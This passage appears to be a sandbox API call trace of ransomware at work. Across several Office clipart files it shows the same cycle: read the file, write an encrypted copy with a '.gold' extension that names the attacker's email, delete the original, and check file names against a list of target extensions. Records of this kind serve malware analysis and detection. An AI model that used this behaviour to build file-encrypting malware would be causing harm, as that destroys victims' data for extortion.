files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.966] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.966] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.967] GetLastError () returned 0x0 [0115.967] ReadFile (in: hFile=0x398, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x65a6, lpOverlapped=0x0) returned 1 [0115.988] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x65b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x65b0, lpOverlapped=0x0) returned 1 [0115.989] ReadFile (in: hFile=0x398, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.989] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.989] SetEndOfFile (hFile=0x198) returned 1 [0115.990] CloseHandle (hObject=0x198) returned 1 [0115.990] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.990] SetEndOfFile (hFile=0x398) returned 1 [0115.991] CloseHandle (hObject=0x398) returned 1 [0115.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf")) returned 1 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString=".doc") returned 4 [0115.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString=".docx") returned 5 [0115.993] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.993] lstrlenW (lpString=".pdf") returned 4 [0115.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString=".xls") returned 4 [0115.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.993] lstrlenW (lpString=".xlsx") returned 5 [0115.993] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.993] lstrlenW (lpString=".ppt") returned 4 [0115.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString=".zip") returned 4 [0115.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.993] lstrlenW (lpString=".rar") returned 4 [0115.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString=".bz2") returned 4 [0115.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString=".7z") returned 3 [0115.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString=".dbf") returned 4 [0115.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString=".1cd") returned 4 [0115.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString=".jpg") returned 4 [0115.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString=".doc") returned 4 [0115.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString=".docx") returned 5 [0115.993] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.993] lstrlenW (lpString=".pdf") returned 4 [0115.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString=".xls") returned 4 [0115.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.993] lstrlenW (lpString=".xlsx") returned 5 [0115.993] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.993] lstrlenW (lpString=".ppt") returned 4 [0115.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.993] lstrlenW (lpString=".zip") returned 4 [0115.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.993] lstrlenW (lpString=".rar") returned 4 [0115.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.994] lstrlenW (lpString=".bz2") returned 4 [0115.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.994] lstrlenW (lpString=".7z") returned 3 [0115.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.994] lstrlenW (lpString=".dbf") returned 4 [0115.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.994] lstrlenW (lpString=".1cd") returned 4 [0115.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0115.994] lstrlenW (lpString=".jpg") returned 4 [0115.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.994] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.994] lstrlenW (lpString="J0228959.WMF") returned 12 [0115.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.182] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=37260) returned 1 [0116.183] CloseHandle (hObject=0x398) returned 1 [0116.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf")) returned 0x20 [0116.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0116.187] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.187] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0116.188] GetLastError () returned 0x0 [0116.188] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x918c, lpOverlapped=0x0) returned 1 [0116.199] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x9190, lpOverlapped=0x0) returned 1 [0116.200] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.200] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.200] SetEndOfFile (hFile=0x184) returned 1 [0116.201] CloseHandle (hObject=0x184) returned 1 [0116.201] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.201] SetEndOfFile (hFile=0x3ec) returned 1 [0116.203] CloseHandle (hObject=0x3ec) returned 1 [0116.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf")) returned 1 [0116.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.204] lstrlenW (lpString=".doc") returned 4 [0116.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.204] lstrlenW (lpString=".docx") returned 5 [0116.204] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0116.204] lstrlenW (lpString=".pdf") returned 4 [0116.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.204] lstrlenW (lpString=".xls") returned 4 [0116.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.204] lstrlenW (lpString=".xlsx") returned 5 [0116.204] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0116.204] lstrlenW (lpString=".ppt") returned 4 [0116.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".zip") returned 4 [0116.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.205] lstrlenW (lpString=".rar") returned 4 [0116.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString=".bz2") returned 4 [0116.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString=".7z") returned 3 [0116.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".dbf") returned 4 [0116.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".1cd") returned 4 [0116.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".jpg") returned 4 [0116.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".doc") returned 4 [0116.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString=".docx") returned 5 [0116.205] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0116.205] lstrlenW (lpString=".pdf") returned 4 [0116.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString=".xls") returned 4 [0116.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.205] lstrlenW (lpString=".xlsx") returned 5 [0116.205] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0116.205] lstrlenW (lpString=".ppt") returned 4 [0116.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".zip") returned 4 [0116.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.205] lstrlenW (lpString=".rar") returned 4 [0116.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString=".bz2") returned 4 [0116.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString=".7z") returned 3 [0116.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".dbf") returned 4 [0116.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".1cd") returned 4 [0116.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0116.205] lstrlenW (lpString=".jpg") returned 4 [0116.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.206] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.206] lstrlenW (lpString="J0232393.WMF") returned 12 [0116.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0116.206] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=27586) returned 1 [0116.206] CloseHandle (hObject=0x3ec) returned 1 [0116.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf")) returned 0x20 [0116.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0116.207] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.207] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0116.208] GetLastError () returned 0x0 [0116.208] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x6bc2, lpOverlapped=0x0) returned 1 [0116.218] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x6bd0, lpOverlapped=0x0) returned 1 [0116.219] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.219] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.219] SetEndOfFile (hFile=0x184) returned 1 [0116.219] CloseHandle (hObject=0x184) returned 1 [0116.219] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.219] SetEndOfFile (hFile=0x3ec) returned 1 [0116.221] CloseHandle (hObject=0x3ec) returned 1 [0116.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf")) returned 1 [0116.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.222] lstrlenW (lpString=".doc") returned 4 [0116.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.222] lstrlenW (lpString=".docx") returned 5 [0116.222] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0116.222] lstrlenW (lpString=".pdf") returned 4 [0116.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.222] lstrlenW (lpString=".xls") returned 4 [0116.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.222] lstrlenW (lpString=".xlsx") returned 5 [0116.222] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0116.222] lstrlenW (lpString=".ppt") returned 4 [0116.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.222] lstrlenW (lpString=".zip") returned 4 [0116.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.222] lstrlenW (lpString=".rar") returned 4 [0116.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.222] lstrlenW (lpString=".bz2") returned 4 [0116.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString=".7z") returned 3 [0116.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".dbf") returned 4 [0116.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".1cd") returned 4 [0116.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".jpg") returned 4 [0116.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".doc") returned 4 [0116.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString=".docx") returned 5 [0116.223] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0116.223] lstrlenW (lpString=".pdf") returned 4 [0116.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString=".xls") returned 4 [0116.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.223] lstrlenW (lpString=".xlsx") returned 5 [0116.223] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0116.223] lstrlenW (lpString=".ppt") returned 4 [0116.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".zip") returned 4 [0116.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.223] lstrlenW (lpString=".rar") returned 4 [0116.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString=".bz2") returned 4 [0116.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString=".7z") returned 3 [0116.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".dbf") returned 4 [0116.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".1cd") returned 4 [0116.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0116.223] lstrlenW (lpString=".jpg") returned 4 [0116.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.224] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.224] lstrlenW (lpString="J0232795.WMF") returned 12 [0116.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0116.224] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14346) returned 1 [0116.225] CloseHandle (hObject=0x3ec) returned 1 [0116.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf")) returned 0x20 [0116.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0116.225] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.225] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 